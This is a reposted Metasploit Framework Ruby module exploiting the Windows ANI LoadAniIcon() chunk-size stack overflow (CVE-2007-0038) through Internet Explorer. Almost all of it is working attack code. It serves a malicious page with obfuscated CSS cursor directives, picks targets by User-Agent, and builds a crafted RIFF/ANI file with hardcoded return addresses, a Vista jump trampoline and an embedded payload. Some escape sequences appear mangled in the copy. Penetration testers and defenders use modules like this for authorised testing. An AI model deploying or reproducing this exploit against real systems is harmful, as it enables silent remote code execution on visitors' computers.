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ani_loadimage_chunksize-browser.rb.txt

Posted on 03 April 2007

## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/projects/Framework/ ## require 'msf/core' module Msf class Exploits::Windows::Browser::IE_ANI_CVE_2007_0038 < Msf::Exploit::Remote # # This module acts as an HTTP server # include Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Windows ANI LoadAniIcon() Chunk Size Stack Overflow (HTTP)', 'Description' => %q{ This module exploits a buffer overflow vulnerability in the LoadAniIcon() function of USER32.dll. The flaw is triggered through Internet Explorer (6 and 7) by using the CURSOR style sheet directive to load a malicious .ANI file. Internet Explorer will catch any exceptions that occur while the invalid cursor is loaded, causing the exploit to silently fail when the wrong target has been chosen. This module will be updated in the near future to perform client-side fingerprinting and brute forcing. This vulnerability was discovered by Alexander Sotirov of Determina and was rediscovered, in the wild, by McAfee. }, 'License' => MSF_LICENSE, 'Author' => [ 'hdm', # First version 'skape', # Vista support ], 'Version' => '$Revision$', 'References' => [ ['CVE', '2007-0038'], ['CVE', '2007-1765'], ['BID', '23194'], ['URL', 'http://www.microsoft.com/technet/security/advisory/935423.mspx'], ['URL', 'http://www.determina.com/security_center/security_advisories/securityadvisory_0day_032907.asp'], ['URL', 'http://www.determina.com/security.research/vulnerabilities/ani-header.html'], ], 'DefaultOptions' => { # Cause internet explorer to exit after the code hits 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024 + (rand(1000)), 'MinNops' => 32, 'Compat' => { 'ConnectionType' => '-find', }, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ # # Use multiple cursor URLs to try all targets for a particular # operating system. This can result in multiple, sequential sessions # [ 'Automatic', { }], # # The following targets use call [ebx+4], just like the original exploit # # Partial overwrite for cross-language exploitation (latest user32 only) [ 'Windows XP SP2 user32.dll 5.1.2600.2622', { 'Ret' => 0x25ba, 'Len' => 2 }], # Should work for all English XP SP2 [ 'Windows XP SP2 userenv.dll English', { 'Ret' => 0x769fc81a }], # Should work for English XP SP0/SP1 [ 'Windows XP SP0/SP1 netui2.dll English', { 'Ret' => 0x71bd0205 }], # Should work for English 2000 SP0-SP4+ [ 'Windows 2000 SP0-SP4 netui2.dll English', { 'Ret' => 0x75116d88 }], # # Partial overwrite where 700b is a jmp dword [ebx] ebx points to the start # of the RIFF chunk itself. The length field of the RIFF chunk # tag contains a short jump into an embedded riff chunk that # makes a long relative jump into the actual payload. # [ 'Windows Vista user32.dll 6.0.6000.16386', { 'Ret' => 0x700b, 'Len' => 2 } ] ], 'DisclosureDate' => 'Mar 28 2007', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) mytarget = self.target ros = /.*/ case request.headers['User-Agent'] when /Windows (NT |)4.0/ ros = /NT 4/ when /Windows (NT |)5.0/ ros = /2000/ when /Windows (NT |)5.1/ ros = /XP/ when /Windows (NT |)5.2/ ros = /2003/ when /Windows (NT |)6.0/ ros = /Vista/ end targ = nil exts = ['bmp', 'wav', 'png', 'zip', 'tar'] gext = exts[rand(exts.length)] ruri, qstr = request.uri.split('?') if (qstr and qstr =~ /.*=(d+)/) targ = $1.to_i end mext = ruri =~ /.(...)$/ if (not (mext and exts.include?($1))) html = "<html><head><title>" + rand_text_alphanumeric(rand(128)+4) + "</title>" + "</head><body>" + rand_text_alphanumeric(rand(128)+1) mytargs = (target.name =~ /Automatic/) ? targets : [target] if target.name =~ /Automatic/ targets.each_index { |i| next if not targets[i].ret next if not targets[i].name =~ ros html << generate_div(gext, i) } else html << generate_div(gext, target_index) end html << "</body></html>" send_response_html(cli, html) return end # Set the requested target if (targ and targets[targ]) mytarget = targets[targ] end # Re-generate the payload, using the explicit target return if ((p = regenerate_payload(cli, nil, nil, target)) == nil) print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the compressed response to the client send_response(cli, generate_ani(p, mytarget), { 'Content-Type' => 'application/octet-stream' }) handler(cli) end def generate_div(gext, targ) "<div style='" + generate_css_padding() + Rex::Text.to_rand_case("cursor") + generate_css_padding() + ":" + generate_css_padding() + Rex::Text.to_rand_case("url(") + generate_css_padding() + '"' + get_resource + '/' + rand_text_alphanumeric(rand(80)+16) + ".#{gext}" + "?#{rand_text_alpha(rand(12)+1)}=#{targ}" + '"' + generate_css_padding() + ");" + generate_css_padding() + "'>" + generate_padding() + "</div>" end def generate_ani(payload, target) # Build the first ANI header anih_a = [ 36, # DWORD cbSizeof rand(128)+16, # DWORD cFrames rand(1024)+1, # DWORD cSteps 0, # DWORD cx,cy (reserved - 0) 0, # DWORD cBitCount, cPlanes (reserved - 0) 0, 0, 0, # JIF jifRate 1 # DWORD flags ].pack('V9') anih_b = nil if (target.name =~ /Vista/) # Vista has ebp=80, eip=84 anih_b = rand_text(84) # Overwrite local counter variable and pointers anih_b[68, 12] = [0].pack('V') * 3 else # XP/2K has ebp=76 and eip=80 anih_b = rand_text(80) # Overwrite locals with invalid pointers anih_b[64, 12] = [0].pack('V') * 3 end # Overwrite the return with address of a "call ptr [ebx+4]" anih_b << [target.ret].pack('V')[0, target['Len'] ? target['Len'] : 4] # Begin the ANI chunk riff = "ACON" # Calculate the data offset for the trampoline chunk and add # the trampoline chunk if we're attacking Vista if target.name =~ /Vista/ trampoline_doffset = riff.length + 8 riff << generate_trampoline_riff_chunk end # Insert random RIFF chunks 0.upto(rand(128)+16) do |i| riff << generate_riff_chunk() end # Embed the first ANI header riff << "anih" + [anih_a.length].pack('V') + anih_a # Insert random RIFF chunks 0.upto(rand(128)+16) do |i| riff << generate_riff_chunk() end # Trigger the return address overwrite riff << "anih" + [anih_b.length].pack('V') + anih_b # If this is a Vista target, then we need to align the length of the # RIFF chunk so that the low order two bytes are equal to a jmp $+0x16 if target.name =~ /Vista/ plen = (riff.length & 0xffff0000) | 0x0eeb plen += 0x10000 if (plen - 8) < riff.length riff << generate_riff_chunk((plen - 8) - riff.length) # Replace the operand to the relative jump to point into the actual # payload itself which comes after the riff chunk riff[trampoline_doffset + 1, 4] = [riff.length - trampoline_doffset - 5].pack('V') end # Place the RIFF chunk in front and off we go ret = "RIFF" + [riff.length].pack('V') + riff # We copy the encoded payload to the stack because sometimes the RIFF # image is mapped in read-only pages. This would prevent in-place # decoders from working, and we can't have that. ret << Rex::Arch::X86.copy_to_stack(payload.encoded.length) # Place the real payload right after it. ret << payload.encoded ret end # Generates a riff chunk with the first bytes of the data being a relative # jump. This is used to bounce to the actual payload def generate_trampoline_riff_chunk tag = Rex::Text.to_rand_case(rand_text_alpha(4)) dat = "xe9xffxffxffxff" + rand_text(1) + (rand_text(rand(256)+1) * 2) tag + [dat.length].pack('V') + dat end def generate_riff_chunk(len = (rand(256)+1) * 2) tag = Rex::Text.to_rand_case(rand_text_alpha(4)) dat = rand_text(len) tag + [dat.length].pack('V') + dat end def generate_css_padding buf = generate_whitespace() + "/*" + generate_whitespace() + generate_padding() + generate_whitespace() + "*/" + generate_whitespace() end def generate_whitespace len = rand(100)+2 set = "x09x20x0dx0a" buf = '' while (buf.length < len) buf << set[rand(set.length)].chr end buf end def generate_padding rand_text_alphanumeric(rand(128)+4) end end end

 

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